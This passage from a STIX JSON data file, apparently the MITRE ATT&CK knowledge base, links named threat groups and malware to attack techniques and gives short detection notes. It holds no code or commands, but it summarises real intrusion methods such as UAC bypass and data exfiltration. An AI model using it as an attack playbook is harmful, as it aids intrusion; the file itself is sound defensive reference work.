administrator, user, and guest accounts on a compromised host.(Citation: TrendMicro Tonto Team October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4826c1d5-4861-48bb-889d-c7d69dd5520e", "type": "relationship", "created": "2022-03-30T14:26:51.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.832Z", "description": "Monitor executed commands and arguments that may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4827d600-cf36-48c8-ba73-46d89d34143b", "created": "2024-03-01T18:50:00.367Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. 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Retrieved September 20, 2021."}], "modified": "2021-09-21T15:10:56.095Z", "description": "[SpicyOmelette](https://attack.mitre.org/software/S0646) can enumerate running software on a targeted system.(Citation: Secureworks GOLD KINGSWOOD September 2018)", "relationship_type": "uses", "source_ref": "malware--599cd7b5-37b5-4cdd-8174-2811531ce9d0", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--485e7842-97ea-4c4a-bf73-5dd084434b7c", "created": "2022-03-30T14:26:51.874Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) .", "modified": "2022-04-20T12:56:09.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48649215-087c-4ded-925c-f2c3f57dcba1", "type": "relationship", "created": "2019-01-30T17:43:28.210Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. 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Retrieved May 24, 2021."}], "modified": "2021-10-15T13:14:38.292Z", "description": "[CostaBricks](https://attack.mitre.org/software/S0614) has been used to load [SombRAT](https://attack.mitre.org/software/S0615) onto a compromised host.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--5d342981-5194-41e7-b33f-8e91998d7d88", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4867dbb4-1e1b-45f6-9070-8e2c0c303638", "type": "relationship", "created": "2019-06-24T12:06:10.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/en-us/library/cc700828.aspx", "description": "Microsoft. (2004, February 6). Perimeter Firewall Design. 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used tools including [BITSAdmin](https://attack.mitre.org/software/S0190) to test internet connectivity from compromised hosts.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-16T13:22:35.469Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--487a6f8b-669d-4d72-8be8-38a48af51308", "type": "relationship", "created": "2020-02-27T18:17:58.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://adsecurity.org/?p=2293", "description": "Metcalf, S. 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(2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. 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(n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.234Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected victim employee name information.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--487f677f-4525-4a02-ac95-2a83e4a4bf7b", "type": "relationship", "created": "2022-02-02T15:13:34.014Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-02T15:13:34.015Z", "description": "[LitePower](https://attack.mitre.org/software/S0680) can use a PowerShell script to execute commands.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "malware--9020f5c7-efde-4125-a4f1-1b70f1274ddd", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48879c97-651c-4426-9093-bd8c4939fc19", "type": "relationship", "created": "2020-10-08T18:47:57.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pascual, C. (2018, November 27). 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Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-10-08T18:47:57.442Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has used the ShellExecute() function within a script.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4887f5b0-45ed-4848-a984-4e72263e33d8", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Felismus Mar 2017", "description": "Somerville, L. and Toro, A. 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(2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. 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Retrieved August 31, 2020."}], "modified": "2020-09-25T17:35:36.444Z", "description": "[Valak](https://attack.mitre.org/software/S0476) can download additional modules and malware capable of using separate C2 channels.(Citation: Unit 42 Valak July 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48e6b5fc-9d82-4cdf-84aa-bc23647e1234", "type": "relationship", "created": "2019-07-17T20:04:40.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T23:58:08.066Z", "description": "By default, only administrators are allowed to connect remotely using WMI. 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Retrieved May 26, 2020."}], "modified": "2020-05-27T13:35:36.707Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to execute a process using <code>runas</code>.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48ee2b91-2ce7-46c0-a27a-aea1695355b4", "type": "relationship", "created": "2022-03-21T22:57:40.722Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. (2021, October 1). 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Retrieved March 21, 2022."}], "modified": "2022-03-21T22:57:40.722Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can use `uname` to identify the operating system name, version, and processor type.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)  ", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48eff76f-1f39-49e8-87c2-11607a8aeea3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/", "description": "Schwarz, D., Sopko J. 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(2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf"}], "modified": "2020-03-17T00:58:52.997Z", "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.(Citation: Symantec W32.Duqu)", "relationship_type": "uses", "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--48fb8267-5d68-467b-a2c0-8302cc15ebed", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", "url": "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"}, {"source_name": "FireEye APT10 April 2017", "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. 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Retrieved November 15, 2018."}], "modified": "2019-04-17T22:22:22.052Z", "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) digitally signs the malware with a code-signing certificate.(Citation: ESET GreyEnergy Oct 2018)", "relationship_type": "uses", "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--496378e6-ab36-4d3b-9ae3-c493a5b56877", "type": "relationship", "created": "2019-01-29T21:57:39.556Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture Dragonfish Jan 2018", "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", "description": "Accenture Security. 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Retrieved November 14, 2018."}], "modified": "2019-04-17T22:12:24.904Z", "description": "[Elise](https://attack.mitre.org/software/S0081) enumerates processes via the <code>tasklist</code> command.(Citation: Accenture Dragonfish Jan 2018)", "relationship_type": "uses", "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--496b2565-c0fb-4de7-8446-e8125bfa4f28", "type": "relationship", "created": "2020-02-21T21:17:03.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-21T21:17:03.463Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4971ab34-bfff-4384-b04f-6a7cd004ae2f", "created": "2022-09-30T20:50:28.473Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. 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Retrieved January 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor file reads that may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019)", "modified": "2022-04-20T01:52:59.990Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--497aec05-cb34-424d-943f-4fdfbf2585b4", "type": "relationship", "created": "2020-05-14T15:35:08.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky MoleRATs April 2019", "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}], "modified": "2020-05-14T15:35:08.806Z", "description": "[Molerats](https://attack.mitre.org/groups/G0021) decompresses ZIP files once on the victim machine.(Citation: Kaspersky MoleRATs April 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--497c12c8-1cdf-4c1e-9624-83438ef770a2", "type": "relationship", "created": "2021-01-27T19:37:49.490Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET EvilNum July 2020", "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}], "modified": "2021-01-27T19:37:49.490Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has used PowerShell to bypass UAC.(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--49855593-a473-4fd8-a40e-9b2435121208", "created": "2021-09-07T14:18:54.984Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky Transparent Tribe August 2020", "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.", "url": "https://securelist.com/transparent-tribe-part-1/98127/"}, {"source_name": "Proofpoint Operation Transparent Tribe March 2016", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"}, {"source_name": "Cisco Talos Transparent Tribe Education Campaign July 2022", "description": "N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.", "url": "https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-06T14:46:40.038Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) has the ability to delete files from a compromised host.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)\t ", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4988b61b-6496-4a74-9d91-e1d3b352f5ef", "type": "relationship", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.845Z", "description": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.", "source_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--498c599b-99ed-477d-afe8-2a6714506934", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Vasport May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}], "modified": "2020-03-17T02:47:10.963Z", "description": "[Vasport](https://attack.mitre.org/software/S0207) copies itself to disk and creates an associated run key Registry entry to establish.(Citation: Symantec Vasport May 2012)", "relationship_type": "uses", "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4990cf9a-9041-45c6-9d31-232ddb770341", "type": "relationship", "created": "2019-01-30T17:48:35.646Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}], "modified": "2021-06-16T15:50:05.285Z", "description": "[zwShell](https://attack.mitre.org/software/S0350) can browse the file system.(Citation: McAfee Night Dragon)", "relationship_type": "uses", "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--49944838-b6f8-4e1c-94d4-5b70cb436700", "type": "relationship", "created": "2021-06-11T16:48:44.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}], "modified": "2021-06-11T16:48:44.900Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can enumerate the current process on a compromised host.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--49957d89-7449-476a-b542-d7811a86c230", "created": "2017-05-31T21:33:27.032Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.192Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "target_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--4995fdc6-d705-48dc-a2e3-c6797ba2439f", "created": "2022-04-06T18:19:08.461Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has lured users to open malicious email attachments.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T18:22:14.209Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4999a323-b025-4a1d-8c80-5ae36b2f5a0d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/", "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", "source_name": "Unit 42 C0d0so0 Jan 2016"}], "modified": "2019-04-25T11:39:52.243Z", "description": "An [APT19](https://attack.mitre.org/groups/G0073) Port 22 malware variant registers itself as a service.(Citation: Unit 42 C0d0so0 Jan 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--499af4be-5b6b-40b2-8df7-f41011ed1f4d", "created": "2024-03-25T18:31:19.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SocGholish-update", "description": "Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}, {"source_name": "Red Canary SocGholish March 2024", "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.", "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T20:26:47.616Z", "description": "[SocGholish](https://attack.mitre.org/software/S1124) can profile compromised systems to identify domain trust relationships.(Citation: SocGholish-update)(Citation: Red Canary SocGholish March 2024)", "relationship_type": "uses", "source_ref": "malware--5911d2ca-64f6-49b3-b94f-29b5d185085c", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--499b83f9-ba2a-4de3-a143-ed85677a453d", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2020-03-17T03:05:58.398Z", "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has exfiltrated data in HTTP POST headers.(Citation: FireEye APT37 Feb 2018)", "relationship_type": "uses", "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", "target_ref": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "x_mitre_version": "1.0", 